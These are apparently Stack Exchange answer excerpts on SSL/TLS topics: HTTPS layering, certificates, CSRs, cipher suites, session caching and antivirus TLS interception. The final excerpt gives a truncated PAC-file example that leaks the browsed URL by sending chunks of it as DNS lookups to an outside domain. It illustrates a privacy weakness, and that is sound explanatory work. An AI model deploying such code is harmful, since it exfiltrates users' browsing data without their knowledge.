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HTTPS is HTTP over SSL. SSL first connects to the host, so the host name and port number are transferred as clear text. When the host responds and the challenge succeeds, your client will encrypt the HTTP request. This is said, and by putting in mind how the communication between layers in the OSI model occurs: As SSL acts in the Session layer (5) and ...


9

HTTPS is just HTTP going over SSL - the HTTPS just signifies to the browser (or other network stack) that the HTTP protocol needs to be tunneled over an SSL channel. There is nothing else "special" about HTTPS... Well, except the CONNECT method. To be specific, the CONNECT method is not anything special in HTTPS, it is part of the HTTP spec. This method ...


7

In TLS, neither the client nor server signs any content. The cryptographic signatures that are used in the initial handshake are meant for authentication: the client obtains some guarantee that it talks to the right server, and (if client certificates are used) the server obtains some guarantee that it talks to the right client. However, neither of these ...


4

Check "Scan encrypted connections" option It seems Kaspersky does SSL interception (Man in the Middle). Kaspersky KB entry 6851: SSL connection scan by Kaspersky Anti-Virus version 6.0.4.x (Archived here.) I would appreciate if someone could explain this behavior Some clients may use certificate pinning. And those can not be easily ...


4

Are TLS session keys cached in a browser? Yes, sometimes, but not as you're describing. The simplest bottom line answer for you is "Yes, sessions are cached until the browser is closed." That's not absolutely true, or true in all cases, but it's a reasonably secure belief for you to base your actions upon. when authenticating to a TLS protected ...


4

There are known attacks against this ciphersuite. The main reason why this mode has been made obsolete is due to these attacks. I refer you to the Lucky 13 attack (by Nadhem AlFardan and Kenny Paterson), which is an advanced padding-oracle attack that uses time differences between padding and other errors. It is extremely difficult to overcome this in ...


4

Certificates, can they be generated on the fly, without access to a CA? For proper SSL, the client must make sure that it talks to the right server, not a fake server operated by the attacker. This requires that the client knows the server public key. The certificate is a method for offering this guarantee: the server certificate contains the server ...


3

1) Using POP3 unencrypted opens you up to all sorts of exploits. Typically, you aren't going to be so concerned about someone intercepting your mail, or more importantly your login credentials, via the open internet. The folks who do this would have to have access to internet exchanges, ISP routers, . It can happen, but it's not that common. What does ...


3

What you are supposed to generate is the cryptographic key pair. You keep the private part; the certificate request (CSR) contains the public key. The CA (godaddy) wants your public key since that's what they will put in your certificate. Theoretically, the best place where you can generate the key pair is on the server itself: the value of the private key ...


3

This seems to be a bug in Chrome. Root CA Certificates are often still SHA-1 certificates, which is not a security problem (and also not considered a problem by Google: http://googleonlinesecurity.blogspot.ca/2014/09/gradually-sunsetting-sha-1.html), yet Chrome spooks users with the warning - even when the only SHA-1 certificate in the chain is the root CA ...


3

What exactly is this checking? Where is Windows (or more specifically, the Crypto Shell Extension application) populating the information on this tab from? It is showing the trust path it constructed based on the certificates sent in the SSL handshake (ignoring any root certificates sent by the server), the cached intermediate certificates from other ...


2

My first question here is that what comprises of the Digital signature of the server.Does it use the values in CSR; take a hash and encrypt them to generate digital signature or this process of digital signature is individual to the CA. Part of the X.509 standard (standard format for public key certificates) is that certificate signature algorithm ...


2

its the session to google server called ssl.gstatic.com In short: the ECDSA in the cipher suite refers to the key of the sites certificate. The RSA in the signature refers to the key of the certificates issuer. In detail: To check what kind of certificate you get with this cipher: openssl s_client -connect ssl.gstatic.com:443 \ -cipher ...


2

That's the effect of most antivirus vendors' "safe browsing" protection, which intercepts all HTTPS traffic (it should be technically a TLS intercept). They act as a "trusted" provider (in the case of HTTPS) and acting as a proxy intercept all browser requests - both HTTP and HTTPS, checking whether the visited websites serve any malicious content. I would ...


2

I suppose the SSL is used to encrypt the password No, SSL is not about encrypting passwords, that is the common misunderstanding. SSL is rather establishing an encrypted link between a server and a client such as a web server (website) and a browser, or a mail server and a mail client. I once read that all data on the internet is encrypted in ...


2

Is there a way the weblogic server with an established SSL connection can re-use the client's cert to connect to the db? No, there is no SSL equivalent to SSH Agent Forwarding; the SSL server cannot forward the client certificate credentials to another server. Now, that's not to say you can't leverage the credentials. If your weblogic server ...


2

I think you are missing -servername expired.badssl.com echo "" | /usr/local/ssl/bin/openssl s_client -connect expired.badssl.com:443 -CApath /etc/ssl/certs/ca-certificates.crt -servername expired.badssl.com | /usr/local/ssl/bin/openssl x509 -noout -dates Apparently this server hosts several HTTPS services so the Server Name Indication extension is ...


2

These estimates are very crude and, arguably, don't make sense. Asymmetric cryptographic algorithms, like RSA and ECDSA, are based on mathematical structures, and breaking them requires unraveling that structure. Generally speaking, the difficulty of doing so raises with the size of the underlying objects (i.e. the "key size"), but not in an easy, simple, ...


1

There's a difference between the capabilities of a "root" certificate, which can be used to sign other certificates and a "server" certificate which cannot. For an SSL proxy if you use a server certificate then the only host whose traffic could be seemlessly intercepted is the one whose Common Name is included on the server cert. The general idea with this ...


1

I just found one source that claims this 10K you mentioned, however there is a study from Symantec here stating the following: While key lengths for current encryption methods using RSA increase exponentially as security levels increase, ECC key lengths increase linearly . For example, 128-bit security requires a 3,072-bit RSA key, but only a ...


1

RFC4346: The goals of TLS Protocol, in order of their priority, are as follows: Cryptographic security: TLS should be used to establish a secure connection between two parties. Interoperability: Independent programmers should be able to develop applications utilizing TLS that can successfully exchange cryptographic parameters ...


1

I cannot reproduce this instance from my machine. Assuming that the server indeed negotiated TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 and still uses a certificate with a RSA public key, then this would be in violation of the standard, and yet it could still work with some client implementation: the SSL client perfectly knows the type of server public key (it ...


1

Yes, URL is passed to FindProxyForURL() and you can leak it out via DNS. Here is an example of PAC file: function FindProxyForURL(url, host) { if (host == 'navalny.com') { var chunks = url.match(/[-a-zA-Z0-9]+/g); dnsResolve('x.darkk.net.ru.'); if (chunks) { chunks.forEach(function(x) { dnsResolve(x + ...



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